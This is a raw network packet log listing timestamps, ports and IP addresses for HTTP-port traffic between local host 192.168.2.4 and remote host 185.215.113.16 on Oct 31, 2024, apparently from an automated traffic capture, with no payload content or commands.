Oct 31, 2024 05:06:35.275571108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.275578976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275598049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275603056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.275614977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275625944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275631905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.275638103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275655985 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.275664091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275675058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275684118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275696993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275701046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.275708914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275719881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275718927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.275749922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.275777102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275793076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275803089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275811911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.275814056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275825977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275836945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275835991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.275850058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275856018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.275861979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275903940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.275903940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275914907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275923967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275934935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275943041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.275943995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275955915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275964975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.275985956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.275994062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276005030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276015043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276024103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276030064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276036978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276056051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276063919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276076078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276077986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276088953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276098967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276114941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276117086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276125908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276134014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276139975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276151896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276154995 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276180983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276191950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276196957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276201963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276213884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276225090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276227951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276242971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276252985 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276266098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276277065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276283026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276292086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276319981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276334047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276341915 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276357889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276357889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276369095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276379108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276393890 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276401043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276416063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276418924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276427031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276437044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276453972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276469946 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276499033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276509047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276518106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276544094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276598930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276608944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276627064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276637077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276645899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276648998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276669979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276684999 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.276731968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276742935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276752949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.276776075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.287606001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.399723053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399740934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399765015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399782896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399789095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.399796009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399821997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.399827003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399844885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399854898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.399857044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399864912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399883032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399888992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.399908066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399919987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399923086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.399935961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399946928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399957895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399962902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.399971962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399976015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.399983883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.399996996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400008917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400011063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400043964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400119066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400130987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400144100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400161982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400171041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400182962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400191069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400228024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400243044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400254011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400264978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400293112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400311947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400324106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400336027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400346994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400360107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400372028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400377989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400403976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400408030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400423050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400444984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400454998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400473118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400482893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400501013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400509119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400521994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400532007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400540113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400567055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400732040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400749922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400768042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400784016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400790930 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400820017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400821924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400834084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400849104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400865078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400871992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400882959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400895119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400904894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400906086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.400947094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.400990963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401011944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401027918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.401036978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401048899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401060104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401076078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.401077986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401098013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401113033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.401124954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401138067 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.401141882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401155949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401166916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401179075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401179075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.401204109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.401319027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401356936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.401370049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401382923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401406050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401417017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401422977 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.401438951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401447058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.401452065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401480913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401489019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.401494980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401525974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401529074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.401571035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401602030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.401819944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401879072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401889086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401906967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401909113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.401918888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.401941061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.412681103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.524811983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525080919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525094032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525105953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525116920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525120974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525139093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525146961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525166035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525177956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525185108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525191069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525202990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525207996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525233030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525233984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525283098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525300026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525320053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525332928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525345087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525357962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525366068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525369883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525383949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525396109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525401115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525408983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525423050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525449038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525453091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525460958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525480986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525492907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525500059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525511980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525521994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525523901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525536060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525548935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525554895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525562048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525573969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525585890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525584936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525599957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525608063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525623083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525635004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525635958 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525646925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525659084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525666952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525697947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525773048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525784969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525795937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525811911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525832891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525859118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525871038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525882006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525902033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.525969028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.525979996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526006937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.526097059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526119947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526129961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.526133060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526145935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526166916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.526264906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526277065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526299000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526307106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526319027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526330948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526354074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.526359081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526397943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526406050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.526462078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526473999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526492119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526494026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.526504993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526524067 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.526530027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526562929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.526571989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526582956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526595116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526612997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.526638031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526664019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526674032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.526782036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526793003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526803970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526814938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.526849031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.526921988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526932001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.526969910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.527025938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.527036905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.527067900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.527076006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.527080059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.527112007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.527175903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.527189016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.527220011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.539341927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.649955034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.649997950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.650010109 CET	80	49744	185.215.113.16	192.168.2.4
